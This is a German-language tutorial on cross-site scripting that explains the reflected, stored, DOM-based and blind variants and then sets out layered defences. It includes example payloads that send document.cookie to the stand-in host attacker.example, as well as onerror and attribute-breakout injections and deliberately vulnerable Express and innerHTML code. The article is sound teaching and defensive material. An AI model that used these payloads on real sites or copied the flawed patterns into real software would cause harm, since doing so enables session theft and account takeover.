🌐 Dieser Artikel ist auch verfügbar auf: English

Cross-Site Scripting (XSS): Grundlagen, Typen & Schutz

Cross-Site Scripting (XSS): Grundlagen und vollständiger Überblick mit Beispielen

Cross-Site Scripting (XSS) ist eine Sicherheitslücke in Webanwendungen, bei der eine angreifende Person eigenen JavaScript-Code in eine an sich vertrauenswürdige Website einschleust, sodass dieser Code im Browser fremder Nutzerinnen und Nutzer ausgeführt wird, und zwar im Sicherheitskontext genau dieser Website. XSS gehört seit über 25 Jahren zu den am weitesten verbreiteten Schwachstellen im Web und ist auch 2026 keineswegs erledigt.

Die Folgen reichen vom harmlosen Pop-up bis zur vollständigen Kontoübernahme: Session-Cookies werden gestohlen, Eingaben mitgeschnitten, Zahlungsformulare manipuliert oder ganze Benutzeroberflächen über die echte Seite gelegt. Genau weil moderne Frameworks viele einfache Fälle automatisch entschärfen, wirkt XSS oft unterschätzt. Aktuelle CVEs bei GitLab, Microsoft Exchange oder der Konferenzsoftware pretalx zeigen jedoch, dass die Schwachstelle in produktiver Software weiterhin hochaktiv ist.

Dieser Artikel führt Sie vom Grundprinzip bis zur modernen Abwehr in der Tiefe: Sie lernen die drei klassischen XSS-Typen (plus Blind XSS) anhand von verwundbarem Code und echten Payloads kennen, verstehen die Einordnung in die OWASP Top 10, und Sie bekommen konkrete Schutzmaßnahmen an die Hand, von kontextabhängigem Output-Encoding über Content Security Policy, Trusted Types und DOMPurify bis zum framework-spezifischen Schutz in React, Angular und Vue.

Was ist Cross-Site Scripting genau?

XSS ist im Kern ein Injection-Problem. Eine Anwendung möchte eine vom Benutzer stammende Zeichenkette anzeigen, etwa einen Suchbegriff oder einen Kommentar. Wird diese Zeichenkette ungeprüft in die HTML-Seite eingebaut, kann der Browser sie nicht mehr von legitimem Seiten-Code unterscheiden. Enthält die Eingabe HTML- oder Skript-Syntax, interpretiert der Browser sie als Code und führt sie aus.

OWASP formuliert es so: XSS entsteht, wenn eine Webanwendung Eingaben eines Benutzers in ihrer Ausgabe verwendet, ohne sie zu validieren oder zu kodieren. Zwei Voraussetzungen müssen also zusammenkommen:

  1. Die Anwendung nimmt Daten entgegen, die eine angreifende Person kontrollieren kann (URL-Parameter, Formularfeld, HTTP-Header, gespeicherter Datensatz).
  2. Diese Daten landen in einer Seite, ohne dass sichergestellt wird, dass sie nicht als JavaScript ausführbar sind.

Der klassische Beweis ("Proof of Concept") ist ein harmloses Pop-up:

<script>alert('XSS')</script>

Erscheint dieses Fenster, ist bewiesen, dass beliebiger Code läuft. Ein echter Angriff verwendet statt alert() natürlich sinnvolleren Schadcode, zum Beispiel den Diebstahl des Session-Cookies:

<script>fetch('https://attacker.example/?c='+document.cookie)</script>

Ein praktischer Hinweis für eigene Tests: Chrome blockiert seit Version 92 alert()-Aufrufe aus Cross-Origin-iframes. Als Nachweis eignet sich dort ersatzweise print().

XSS in der OWASP Top 10: die A03-Einordnung

Wer sich mit Web-Sicherheit beschäftigt, stößt unweigerlich auf die OWASP Top 10, die einflussreichste Liste der kritischsten Risiken für Webanwendungen. Die Einordnung von XSS hat sich dort über die Jahre verändert:

  • 2003 bis 2017: XSS war eine eigenständige Kategorie in der OWASP Top 10.
  • 2017: XSS stand auf Platz 7 der Liste.
  • Seit 2021: XSS ist unter A03:2021 Injection zusammengefasst, gemeinsam mit SQL-Injection und verwandten Klassen. Der Grund ist technisch schlüssig, denn XSS ist letztlich eine Injection: Eingabe wird in einem Interpreter (hier der Browser) als Code ausgeführt.

Wichtig ist das Missverständnis, das diese Konsolidierung erzeugen kann: XSS ist dadurch nicht seltener oder harmloser geworden. Die Häufigkeit in realen Webanwendungen ist nicht zurückgegangen. Laut dem IBM Cloud Threat Landscape Report 2024 war XSS sogar die am häufigsten entdeckte Cloud-Schwachstelle.

Same-Origin-Policy: Warum XSS so gefährlich ist

Um zu verstehen, warum XSS so mächtig ist, muss man die Same-Origin-Policy (SOP) kennen. Sie ist eines der wichtigsten Sicherheitskonzepte des Browsers. Die SOP legt fest, dass Code aus einer Origin nicht ungehindert auf Daten einer anderen Origin zugreifen darf. Eine Origin besteht aus drei Teilen: Schema, Host und Port.

Unterschiedliche Origins sind zum Beispiel:

  • https://bank.example und https://shop.example (unterschiedliche Hosts)
  • https://bank.example und http://bank.example (unterschiedliches Schema)
  • https://bank.example:443 und https://bank.example:8080 (unterschiedlicher Port)

Die SOP verhindert, dass eine bösartige Website die Cookies oder Daten Ihrer Bank ausliest. Genau hier liegt aber das Problem von XSS: Wenn es gelingt, Schadcode in die Seite der Bank selbst einzuschleusen, läuft dieser Code in der Origin der Bank. Der Browser betrachtet ihn als legitimen Teil der Seite, denn der Server hat ihn schließlich ausgeliefert. Die SOP schützt nicht mehr, weil der Angriff von innen kommt.

Was ein erfolgreicher XSS-Angriff ermöglicht

Injizierter Code läuft im Sicherheitskontext der angegriffenen Origin und kann daher:

  • den gesamten DOM der Seite lesen und verändern,
  • Cookies der Origin auslesen (außer sie tragen das HttpOnly-Flag),
  • auf localStorage, sessionStorage und IndexedDB zugreifen,
  • im Namen der Nutzerin HTTP-Anfragen an die eigene Origin stellen (samt mitgesendeter Cookies und Auth-Tokens),
  • Tastatureingaben mitschneiden (ein Keylogger im Browser-Tab),
  • die Anzeige manipulieren, etwa ein gefälschtes Login-Formular über die echte Seite legen.

Was XSS nicht kann

Ebenso wichtig ist zu wissen, wo die Grenzen liegen. XSS ermöglicht im Normalfall keinen:

  • Zugriff auf andere Origins (die SOP schützt in diese Richtung weiter),
  • Zugriff auf das lokale Dateisystem (Browser-Sandbox),
  • direkten Zugriff auf andere Browser-Tabs oder -Fenster,
  • direkte Code-Ausführung im Betriebssystem, also echte Remote Code Execution (dazu wäre ein zusätzlicher Browser-Exploit nötig).

Die Typen von Cross-Site Scripting

Traditionell werden drei Haupttypen unterschieden, nach dem Weg, den der Schadcode nimmt. Blind XSS ist ein wichtiger Sonderfall von Stored XSS. Die folgende Tabelle gibt einen Überblick, danach folgt jeder Typ mit verwundbarem Code, Payload und Fix.

TypWo liegt der Schadcode?Server beteiligt?AuslöserBesondere Gefahr
Reflected XSSin der HTTP-Anfrage, sofort zurückgespiegeltjaOpfer klickt präparierten Linkbreit per Phishing streubar
Stored XSSdauerhaft auf dem Server gespeichertjaOpfer öffnet die betroffene Seitetrifft alle Besucher automatisch
DOM-based XSSrein clientseitig im Browserneinverwundbares JavaScript verarbeitet Eingabeserverseitige Filter greifen nicht
Blind XSSgespeichert, Ausführung an anderer Stellejainterne Person (z. B. Admin) öffnet Datensatzkeine direkte Rückmeldung, trifft privilegierte Konten

Reflected XSS (nicht-persistent)

Bei Reflected XSS wird die Eingabe im selben Request-Response-Zyklus direkt in die Antwort zurückgespiegelt, ohne gespeichert zu werden. Typisches Szenario: eine Suchfunktion, die den Suchbegriff unencodiert wieder anzeigt.

Verwundbarer serverseitiger Code (hier als Template mit Interpolation):

<h1>Ergebnisse für: <%= request.params.q %></h1>

Ruft ein Opfer nun eine präparierte URL auf, etwa ?q=<script>alert(1)</script>, baut der Server daraus:

<h1>Ergebnisse für: <script>alert(1)</script></h1>

Der Browser führt das Skript aus. Weil der Angriff eine Interaktion braucht (das Opfer muss den Link anklicken), verbreiten Angreifer solche Links per E-Mail, Chat oder über soziale Netzwerke. Der Schadcode "reflektiert" vom Server zurück in den Browser des Opfers, daher der Name.

Fix: Der Suchbegriff muss vor der Ausgabe kontextgerecht kodiert werden (siehe Kapitel Output-Encoding), sodass aus <script> die harmlose Textdarstellung &lt;script&gt; wird.

Stored XSS (persistent)

Stored XSS geht einen Schritt weiter: Der Schadcode wird dauerhaft auf dem Server gespeichert, zum Beispiel in einer Datenbank, und später an andere Nutzerinnen und Nutzer ausgeliefert. Typische Angriffsflächen sind Kommentare, Forenbeiträge, Profilbeschreibungen, Produktbewertungen oder Chat-Nachrichten.

Ein verwundbarer Express-Endpunkt, der einen Kommentar speichert und ihn später ungefiltert wieder ausliefert, macht das Prinzip deutlich:

// Beim Absenden: Der Kommentar wird ungefiltert in der Datenbank gespeichert
app.post("/comments", (req, res) => {
  saveComment(req.body.comment);
  res.redirect("/comments");
});

// Beim Aufruf: Alle gespeicherten Kommentare werden ohne Kodierung ausgegeben
app.get("/comments", (req, res) => {
  const comments = getComments();
  const html = comments
    .map((c) => `<div class="comment">${c.body}</div>`)
    .join("");
  res.send(`<h1>Kommentare</h1>${html}`);
});

Speichert eine angreifende Person einen Kommentar wie <img src=x onerror=alert('hello')>, wird dieser bei jedem Aufruf der Kommentarseite ausgeführt, und zwar bei jeder Besucherin und jedem Besucher. Das macht Stored XSS besonders gefährlich: Anders als bei Reflected XSS muss niemand einen präparierten Link anklicken. Es genügt, dass Nutzer die betroffene Seite besuchen, sie infizieren sich quasi automatisch.

Beachten Sie das Muster <img src=x onerror=...>: Ein ungültiger Bildpfad löst den onerror-Handler aus, in dem beliebiger JavaScript-Code steht. Solche event-handler-basierten Payloads funktionieren auch dann, wenn <script>-Tags gefiltert werden.

DOM-based XSS

DOM-based XSS ist besonders tückisch, weil der Angriff ausschließlich im Browser stattfindet, ohne dass der Server den Schadcode je zu sehen bekommt. Verwundbar ist hier clientseitiges JavaScript, das Daten aus einer angreifbaren Quelle (etwa der URL) unsicher in die Seite schreibt.

Ein klassisches Beispiel liest einen Parameter aus der URL und schreibt ihn per innerHTML in den DOM:

const message = new URLSearchParams(window.location.search).get('msg');
document.getElementById("output").innerHTML = message;

Ruft ein Angreifer nun eine URL wie ?msg=<img src=x onerror=alert('DOM XSS')> auf, wird der Schadcode direkt im Browser ausgeführt. Der entscheidende Punkt: Diese Manipulation erreicht den Server nie, sie geschieht rein clientseitig. Deshalb helfen serverseitige Filter oder Web Application Firewalls hier oft nicht.

Um DOM-based XSS zu verstehen, braucht man das Vokabular der Sources und Sinks. Eine Source ist ein von außen kontrollierbarer Eingabepunkt (location.hash, location.search, document.referrer). Ein Sink ist eine Funktion oder Eigenschaft, die eine Zeichenkette als Code ausführen kann. Fließen Daten von einer Source unkontrolliert in einen Sink, entsteht DOM-based XSS.

Fix: Statt innerHTML verwenden Sie einen sicheren Sink wie textContent, der die Eingabe garantiert als Text behandelt:

document.getElementById("output").textContent = message;

Blind XSS

Blind XSS ist eine Variante von Stored XSS, bei der die angreifende Person das Ergebnis nicht direkt sieht. Der Payload wird an einer Stelle gespeichert (etwa in einem Support-Ticket oder Feedback-Formular) und erst später an einem ganz anderen Ort ausgeführt, häufig im internen Admin-Bereich, wenn eine Mitarbeiterin den Datensatz öffnet.

Ein typischer Payload zielt genau auf dieses privilegierte Umfeld:

<script>new Image().src='https://attacker.example/steal?c='+document.cookie</script>

Die Tücke: Der Angreifer erhält zunächst keinerlei Rückmeldung, ob und wann der Code ausgeführt wird. Genau deshalb existieren spezialisierte Callback-Plattformen wie XSS Hunter, die eine Benachrichtigung senden, sobald der Payload irgendwo im Backend zündet, inklusive Angabe, wo das geschah. Weil Blind XSS oft privilegierte Konten trifft, kann der Schaden erheblich sein.

Sichere und unsichere Sinks

Ein zentrales Werkzeug gegen DOM-based XSS ist die bewusste Wahl der DOM-API. Manche Funktionen interpretieren übergebene Zeichenketten als HTML oder Code (unsichere Sinks), andere behandeln sie garantiert als reinen Text (sichere Sinks).

Gefährliche Sinks, die Sie mit Benutzerdaten meiden sollten:

  • element.innerHTML, element.outerHTML, element.insertAdjacentHTML()
  • document.write(), document.writeln()
  • eval(), new Function(), setTimeout() und setInterval() mit String-Argument
  • <iframe srcdoc>, DOMParser.parseFromString()

Sichere Sinks, die Sie stattdessen verwenden:

  • .textContent und .innerText
  • .insertAdjacentText()
  • .setAttribute(name, wert) für sichere Attribute
  • .createTextNode() und .createElement()
  • formfield.value, .className

Die Faustregel von OWASP lautet: Refaktorieren Sie Code so, dass er statt innerHTML einen dieser sicheren Sinks nutzt. Lässt sich Roh-HTML nicht vermeiden (etwa bei einem WYSIWYG-Editor), muss es zwingend über einen Sanitizer wie DOMPurify laufen.

Reale Fälle: XSS ist kein Lehrbuch-Problem

Der Samy Worm (2005)

Das berühmteste XSS-Beispiel der Geschichte ist der Samy Worm. Am 4. Oktober 2005 platzierte Samy Kamkar einen Stored-XSS-Payload im Profil seines MySpace-Kontos. Jeder, der sein Profil ansah, führte den Code automatisch aus. Dieser bewirkte zweierlei: Er zeigte auf dem Profil des Opfers den Text "but most of all, samy is my hero" an und schrieb sich selbst zusätzlich in dessen Profil, sodass sich der Wurm bei jedem weiteren Profilbesuch exponentiell weiterverbreitete.

Das Ergebnis: In nur rund 20 Stunden infizierte der Wurm über eine Million Profile, was ihn zum am schnellsten verbreiteten Virus seiner Zeit machte. MySpace musste die Plattform vorübergehend abschalten, um die Lücke zu schließen. Für Kamkar hatte der Fall reale strafrechtliche Folgen: 2006 durchsuchte ihn der U.S. Secret Service, 2007 folgte ein Schuldeingeständnis wegen eines Verbrechens, mit drei Jahren Bewährung und Sozialstunden. Der Fall zeigt eindrücklich, dass Stored XSS sich wurmartig selbst replizieren kann.

British Airways und Magecart (2018)

Ein moderneres Beispiel für die wirtschaftliche Dimension ist die Angriffswelle unter dem Namen Magecart. Dabei schleusten Angreifer bösartiges JavaScript in die Bezahlseiten von Online-Shops ein, um Kreditkartendaten direkt beim Eintippen abzugreifen ("Skimming"). Streng genommen ist Magecart client-seitiges Web-Skimming, also das Einschleusen oder Manipulieren von Skriptcode auf der eigenen Origin, und nicht immer eine klassische input-basierte XSS-Eingabelücke (Reflected oder Stored). Der Fall illustriert aber dieselbe Kernwirkung: fremder Skriptcode läuft im Sicherheitskontext einer vertrauenswürdigen Seite. Prominentes Opfer war British Airways: Rund 380.000 Zahlungsdatensätze wurden abgegriffen, was 2020 in einem der ersten großen DSGVO-Bußgelder mündete. Die britische Datenschutzbehörde ICO drohte 2019 zunächst ein Rekord-Bußgeld von rund 183,39 Mio. GBP an (Notice of Intent) und reduzierte es im Oktober 2020 final auf 20 Mio. GBP. Solche Angriffe belegen, dass injizierter Skriptcode weit mehr anrichten kann als ein Pop-up.

Aktuelle CVEs 2026: XSS ist hochaktiv

Dass XSS kein historisches Problem ist, zeigt ein Blick auf aktuelle Schwachstellen. Allein 2026 wurden zahlreiche High- und Critical-CVEs in namhafter Software veröffentlicht. Wenn Sie sich unsicher sind, was ein CVE ist, hilft unser Leitfaden bei der Einordnung:

CVEProduktTypCVSS
CVE-2026-47646Microsoft Dynamics 365 Customer VoiceXSS9.3
CVE-2026-10086GitLab Enterprise EditionXSS im Analytics-Dashboard8.7
CVE-2026-0695ConnectWise PSAStored XSS8.7
CVE-2026-41241pretalxStored XSS zu Account Takeover8.7
CVE-2026-42897Microsoft Exchange (OWA)XSS8.1
CVE-2026-0266Palo Alto Networks PAN-OSStored XSS im Web-Interfacehoch

Besonders lehrreich ist CVE-2026-41241 in der Konferenzsoftware pretalx: Dieses Stored XSS umgeht laut Advisory ausdrücklich vorhandene CSP- und innerHTML-Schutzmechanismen und führt zur vollständigen Kontoübernahme. Die Lehre daraus ist zentral für dieses Kapitel: Schutzmaßnahmen wirken nur, wenn sie korrekt konfiguriert sind. Eine allein vorhandene CSP ist keine Garantie. Dass sogar ein Firewall-Produkt wie PAN-OS betroffen ist, unterstreicht, dass XSS jede Softwarekategorie treffen kann.

Schutz vor XSS: Abwehr in der Tiefe

Es gibt keine einzelne Maßnahme, die jedes XSS verhindert. OWASP nennt das Ziel "perfect injection resistance" und meint damit: Alle Variablen einer Anwendung müssen geschützt werden, durch eine Kombination von Validierung, Kodierung und Sanitisierung. In der Praxis setzen Sie deshalb auf mehrere Verteidigungsschichten (Defense in Depth):

  1. Kontextabhängiges Output-Encoding als Standard (Framework-Ebene)
  2. HTML-Sanitisierung, wo Roh-HTML unvermeidbar ist
  3. Content Security Policy (Durchsetzung im Browser)
  4. Trusted Types (Härtung der DOM-Sinks)
  5. HttpOnly-Cookies (Schadensbegrenzung)

Kontextabhängiges Output-Encoding

Die wichtigste und wirksamste Grundmaßnahme ist Output-Encoding: Vor der Ausgabe werden gefährliche Zeichen so umgewandelt, dass der Browser sie als Text statt als Code interpretiert. Im HTML-Body werden dazu unter anderem & zu &amp;, < zu &lt;, > zu &gt;, " zu &quot; und ' zu &#x27; kodiert.

Entscheidend ist das Wort kontextabhängig: Für unterschiedliche Stellen im Dokument gelten unterschiedliche Kodierungsregeln. Was im HTML-Body sicher ist, kann in einem Attribut oder in einem <script>-Block gefährlich bleiben.

KontextKodierungHinweis
HTML-BodyEntity-Encoding (&lt;, &gt;, &amp; ...)Standardfall, meist ausreichend
HTML-Attributalle Zeichen als &#xHH;, Attribut immer in Anführungszeichenungequotete Attribute sind gefährlich
JavaScript\xHH- bzw. \uXXXX-Kodierung, nur in gequotete Wertedirekt in <script> fast nie sicher
CSSHex-Encoding \XX, nur in Property-Wertenie in Selektoren
URLProzent-Encoding %HH, nur http/https erlaubenerst URL-, dann Attribut-Encoding

Ein anschauliches Beispiel für den Attribut-Kontext: Ein ungequotetes Attribut lässt sich mit einem eingeschmuggelten Event-Handler ausbrechen. Unsicher ist etwa:

<div class={{ my_class }}>...</div>

Ein Angreifer setzt my_class auf some_id onmouseover=alert(1) und schleust so einen neuen Event-Handler ein. Der Fix ist, das Attribut zu quoten:

<div class="{{ my_class }}">...</div>

Die gute Nachricht: Moderne Template-Engines und Frameworks übernehmen kontextgerechtes Encoding weitgehend automatisch. Sie sollten das Prinzip trotzdem verstehen, um die Ausnahmefälle zu erkennen.

HTML-Sanitisierung mit DOMPurify

Manchmal sollen Nutzer bewusst HTML einreichen dürfen, etwa in einem Rich-Text-Editor. Hier würde reines Encoding die Funktion zerstören, weil auch erwünschtes Markup als Text erschiene. Die Lösung ist Sanitisierung: Eine Bibliothek entfernt gefährliche Elemente und Attribute (<script>, onerror und so weiter), lässt aber sicheres Markup stehen.

OWASP empfiehlt dafür ausdrücklich DOMPurify, gepflegt von der Berliner Sicherheitsfirma cure53. Die Grundnutzung ist denkbar einfach:

const clean = DOMPurify.sanitize(dirty);

Aus gefährlicher Eingabe wird bereinigtes HTML, zum Beispiel:

// Eingabe: <img src=x onerror=alert(1)//>
// Ergebnis: <img src="x">

DOMPurify wehrt nicht nur einfache Skripte ab, sondern auch fortgeschrittene Umgehungstechniken wie Mutation XSS (mXSS), Namespace-Verwirrung und DOM Clobbering, Kategorien, die einfache Filter meist übersehen. Ein wichtiger Merksatz: Verändern Sie den sanitisierten String danach nicht mehr. Wer bereits bereinigtes HTML nachträglich weiterverarbeitet, kann den Schutz wieder aushebeln. Und halten Sie die Bibliothek aktuell, da regelmäßig neue Bypass-Techniken gefunden und gepatcht werden.

Content Security Policy (CSP) und ihre Grenzen

Eine Content Security Policy ist eine zusätzliche Verteidigungslinie, die der Browser durchsetzt. Über einen HTTP-Header definieren Sie, aus welchen Quellen Skripte geladen und ob Inline-Skripte ausgeführt werden dürfen. Eine wirksame, "strikte" CSP erlaubt Skripte nur mit einem passenden Nonce oder Hash und blockiert:

  • Inline-Event-Handler wie onclick oder onerror,
  • javascript:-URLs,
  • gefährliche APIs wie eval(),
  • alle Skripte ohne gültige Nonce oder gültigen Hash.

Ein vereinfachtes Beispiel einer strikten CSP mit Nonce:

Content-Security-Policy: script-src 'nonce-r4nd0m123' 'strict-dynamic'; object-src 'none'; base-uri 'none'

Nur ein Skript-Tag mit passender Nonce wird ausgeführt:

<script nonce="r4nd0m123">/* legitimer Code */</script>

So wichtig CSP ist, sie ist ausdrücklich Defense in Depth, nicht der Primärschutz. OWASP warnt davor, sich allein auf CSP zu verlassen: Die Browser-Unterstützung variiert, unternehmensweite pauschale Regeln brechen oft Legacy-Anwendungen, und eine schwache oder fehlerhaft konfigurierte CSP lässt sich umgehen. Genau das zeigte der oben genannte pretalx-Fall (CVE-2026-41241), bei dem Stored XSS eine vorhandene CSP aushebelte. CSP reduziert also den Schaden, ersetzt aber niemals korrektes Encoding und Sanitizing.

Trusted Types: DOM-XSS strukturell verhindern

Trusted Types ist eine der wirkungsvollsten modernen Verteidigungen. OWASP beschreibt sie als eine der wenigen Maßnahmen, die ganze Klassen von DOM-XSS ausschalten. Das Prinzip: Trusted Types zwingt gefährliche DOM-Sinks dazu, einfache Zeichenketten abzulehnen. Wer innerHTML einen rohen String zuweist, bekommt bei aktivierter Policy einen TypeError. Erlaubt sind nur explizit als vertrauenswürdig markierte Objekte, die zwingend durch eine Prüf- oder Sanitizer-Funktion gelaufen sind.

Aktiviert wird der Schutz über einen CSP-Header. Empfehlenswert ist der Start im Report-Only-Modus, um Verstöße zu finden, ohne die Anwendung zu brechen:

Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri //my-csp-endpoint.example

Sind alle Verstöße behoben, wird erzwungen:

Content-Security-Policy: require-trusted-types-for 'script'

Ohne Trusted Types wirft der folgende Code nun eine Ausnahme:

const userInput = "I might be XSS";
const element = document.querySelector("#container");

element.innerHTML = userInput; // wirft einen TypeError

Sauber wird es, indem Sie eine Policy definieren, die die Eingabe durch DOMPurify schickt:

const sanitizer = trustedTypes.createPolicy("my-policy", {
  createHTML: (input) => DOMPurify.sanitize(input),
});

const userInput = "I might be XSS";
const element = document.querySelector("#container");

const trustedHTML = sanitizer.createHTML(userInput);
element.innerHTML = trustedHTML;

Für Code, den Sie nicht ändern können (Third-Party-Skripte), gibt es das Muster einer Default-Policy, die alle Verstöße auffängt:

if (window.trustedTypes && trustedTypes.createPolicy) {
  trustedTypes.createPolicy('default', {
    createHTML: (string, sink) =>
      DOMPurify.sanitize(string, {RETURN_TRUSTED_TYPE: true})
  });
}

Wichtig zu verstehen: Trusted Types sanitisiert nicht selbst, sondern erzwingt lediglich, dass eine Sanitisierungsfunktion aufgerufen wird. Der große Fortschritt 2026 ist die Verfügbarkeit: Trusted Types wird inzwischen von allen großen Browsern unterstützt (Chrome und Edge ab 83, Firefox ab 148, Safari ab 26), ist also praxisreif.

HttpOnly-Cookies als Schadensbegrenzung

Session-Cookies mit dem Attribut HttpOnly sind für JavaScript unsichtbar, document.cookie liefert sie nicht mehr aus. Das verhindert den simplen Cookie-Diebstahl per XSS. Wichtig zur Einordnung: HttpOnly verhindert XSS nicht, es begrenzt nur den Schaden. Ein injiziertes Skript kann weiterhin im Namen der Nutzerin API-Aufrufe machen, denn der Browser sendet HttpOnly-Cookies bei jeder Anfrage automatisch mit. Kombinieren Sie das Attribut daher mit Secure und einer passenden SameSite-Einstellung.

Anti-Pattern: WAF als Primärschutz

Ein häufiger Trugschluss ist, eine Web Application Firewall (WAF) als Hauptschutz gegen XSS zu betrachten. OWASP rät davon ausdrücklich ab. Eine WAF filtert Muster im HTTP-Verkehr, aber:

  • Sie erkennt DOM-based XSS gar nicht, weil dieser Angriff den Server nie erreicht.
  • Sie kann den Kontext nicht kennen, ein Filter weiß nicht, ob ein Wert später im HTML-Body, in einem Attribut oder in JavaScript landet.
  • Sie erzeugt Fehler wie doppelte Kodierung (aus "O'Hara" wird "O\\'Hara").
  • Sie ist unzuverlässig gegen ständig neue Bypass-Techniken.

Eine WAF kann eine sinnvolle zusätzliche Schicht sein, aber niemals der Ersatz für korrektes Encoding, Sanitizing und CSP.

Framework-spezifischer Schutz: React, Angular und Vue

Die meisten modernen Webanwendungen entstehen mit einem Framework. Die gute Nachricht: React, Angular und Vue kodieren dynamische Werte standardmäßig und verhindern damit die meisten einfachen XSS-Fälle. Die schlechte Nachricht: Jedes Framework bietet bewusste Ausstiegsluken ("Escape Hatches"), die diesen Schutz umgehen, und genau diese sind der Hauptrisikofaktor in modernen Single-Page-Anwendungen.

React

React maskiert alle in JSX eingebetteten Werte automatisch, bevor sie in den DOM gelangen. Der folgende Ausdruck ist sicher, weil React props.name als Text behandelt:

export function App(props) {
  return <div>Hello, {props.name}!</div>;
}

Die gefährliche Ausnahme heißt dangerouslySetInnerHTML, laut Invicti der häufigste XSS-Vektor in React-Anwendungen. Ein typisches Fehlermuster ist ungefiltertes Markdown-Rendering:

function MarkdownViewer({ content }) {
  return (
    <div dangerouslySetInnerHTML={{ __html: marked(content) }} />
  );
}
// Bösartige Eingabe: ![x](x "onerror='alert(1)'")

Ebenso riskant sind roh gerenderte API-Daten oder direkt durchgereichtes HTML. Die Regel lautet: dangerouslySetInnerHTML nur verwenden, wenn unbedingt nötig, und die Eingabe vorher durch DOMPurify schicken. Beachten Sie außerdem, dass auch in React eval(), innerHTML oder ungeprüfte dynamische URL-Segmente XSS ermöglichen. React ist also nicht immun. Wie Sie das in der Praxis sauber lösen, zeigt unser Leitfaden zum XSS-Schutz in React.

Angular

Angular behandelt in Templates gebundene Werte standardmäßig als nicht vertrauenswürdig und kontextsicher. Wer diesen Schutz umgehen will, muss ausdrücklich bypassSecurityTrustHtml (oder Verwandte wie bypassSecurityTrustScript, bypassSecurityTrustUrl) über den DomSanitizer aufrufen. Der Name ist Programm: Diese Methoden schalten Angulars Schutz gezielt ab und sollten nur mit zuvor sanitisierten, wirklich vertrauenswürdigen Werten verwendet werden. Auch das Property-Binding [innerHTML] ist mit Vorsicht zu genießen.

Vue

In Vue kodiert die normale Text-Interpolation ({{ ... }}) automatisch. Die Escape-Hatch heißt hier v-html: Diese Direktive rendert rohes HTML und umgeht damit die Maskierung. Setzen Sie v-html niemals auf Inhalte, die auch nur teilweise aus Benutzereingaben stammen, ohne vorherige Sanitisierung. Weitere Grundlagen dazu finden Sie in unserem Überblick zu Vue.js Security.

Über alle Frameworks hinweg gilt dasselbe Muster: dangerouslySetInnerHTML, bypassSecurityTrust* und v-html sind die Stellen, an denen Sie die Verantwortung für die Sicherheit selbst übernehmen. Wo immer möglich, kombinieren Sie sie mit DOMPurify und einer strikten CSP.

XSS testen: Tools für Entwicklung und Pentest

Zum sicheren Umgang mit XSS gehört das aktive Suchen nach Lücken. Ein etabliertes Ökosystem an Werkzeugen hilft dabei:

  • Burp Suite: Der Web-Vulnerability-Scanner erkennt Reflected, Stored und DOM-based XSS und kommt auch mit Hindernissen wie CSRF-Tokens und JavaScript-lastigen Anwendungen zurecht. Die Community Edition ist kostenlos, die Professional-Version kostet rund 449 US-Dollar pro Jahr und Nutzer.
  • XSStrike: Ein kostenloses Open-Source-Tool mit intelligentem, kontextsensitivem Payload-Generator und Fuzzing-Engine, das Reflected, Stored und DOM-based XSS unterstützt, WAFs umgehen kann und False Positives minimiert. Wie Sie es Schritt für Schritt einsetzen, zeigt unser XSStrike-Tutorial.
  • OWASP ZAP: Der kostenlose, quelloffene Zed Attack Proxy als vollwertige Alternative für automatisiertes Scanning.
  • XSS Hunter: Eine Callback-Plattform speziell für Blind XSS, sie meldet, ob und wo ein platzierter Payload ausgeführt wurde.

Ein rechtlicher Hinweis: Setzen Sie diese Werkzeuge nur gegen Systeme ein, für die Sie eine ausdrückliche Erlaubnis haben. Für die kontinuierliche Absicherung empfiehlt sich zusätzlich die Integration von DAST-Werkzeugen in die CI/CD-Pipeline, sodass neue Lücken früh im Entwicklungsprozess auffallen.

Häufige Fragen zu Cross-Site Scripting (XSS)

Was ist Cross-Site Scripting (XSS) einfach erklärt?

Cross-Site Scripting ist eine Sicherheitslücke in Webanwendungen, bei der eine angreifende Person eigenen JavaScript-Code in eine vertrauenswürdige Website einschleust. Dieser Code wird anschließend im Browser anderer Nutzerinnen und Nutzer ausgeführt, und zwar im Sicherheitskontext genau dieser Website. Im Kern ist XSS ein Injection-Problem: Benutzereingaben landen ungeprüft in der Seite und werden vom Browser als Code interpretiert.

Was ist der Unterschied zwischen Reflected, Stored und DOM-based XSS?

Bei Reflected XSS wird die Eingabe im selben Request sofort zurückgespiegelt, das Opfer muss dazu einen präparierten Link anklicken. Bei Stored XSS liegt der Schadcode dauerhaft auf dem Server und trifft automatisch jede Person, die die betroffene Seite öffnet. DOM-based XSS findet rein im Browser statt: Verwundbares JavaScript schreibt Daten aus einer Quelle wie der URL unsicher in die Seite, der Server bekommt den Payload nie zu sehen.

Wie kann man XSS verhindern?

Der wirksamste Schutz ist eine Kombination mehrerer Schichten. Kontextabhängiges Output-Encoding, meist automatisch durch das Framework, bildet die Grundlage und wird um DOMPurify überall dort ergänzt, wo Roh-HTML unvermeidbar ist. Hinzu kommen sichere Sinks wie textContent statt innerHTML, Trusted Types, eine strikte Content Security Policy sowie HttpOnly-, Secure- und SameSite-Cookies zur Schadensbegrenzung.

Ist XSS noch relevant?

Ja. Auch wenn XSS seit 2021 unter A03:2021 Injection zusammengefasst ist, ist die Schwachstelle nicht seltener geworden. Laut IBM Cloud Threat Landscape Report 2024 war XSS sogar die am häufigsten entdeckte Cloud-Schwachstelle. Aktuelle CVEs aus 2026 bei GitLab, Microsoft Exchange und der Konferenzsoftware pretalx zeigen, dass die Lücke in produktiver Software weiterhin hochaktiv ist.

Fazit: XSS verstehen und in der Tiefe abwehren

Cross-Site Scripting bleibt eine der relevantesten Web-Schwachstellen, weil moderne Anwendungen unzählige Stellen bieten, an denen Benutzereingaben in Seiten fließen. Wer die drei Grundtypen (Reflected, Stored, DOM-based) plus Blind XSS und das Zusammenspiel von Sources und Sinks verstanden hat, erkennt die Muster in eigenem Code deutlich schneller.

Der wirksamste Schutz ist kein einzelnes Werkzeug, sondern eine Kombination von Schichten:

  1. Kontextabhängiges Output-Encoding als Standard, meist automatisch durch Ihr Framework.
  2. DOMPurify überall dort, wo Roh-HTML unvermeidbar ist.
  3. Sichere Sinks (textContent statt innerHTML) im clientseitigen Code.
  4. Trusted Types zur strukturellen Absicherung der DOM-Sinks, 2026 in allen großen Browsern verfügbar.
  5. Strikte CSP mit Nonce oder Hash als zusätzliche, browserseitige Verteidigung.
  6. HttpOnly-, Secure- und SameSite-Cookies zur Schadensbegrenzung.
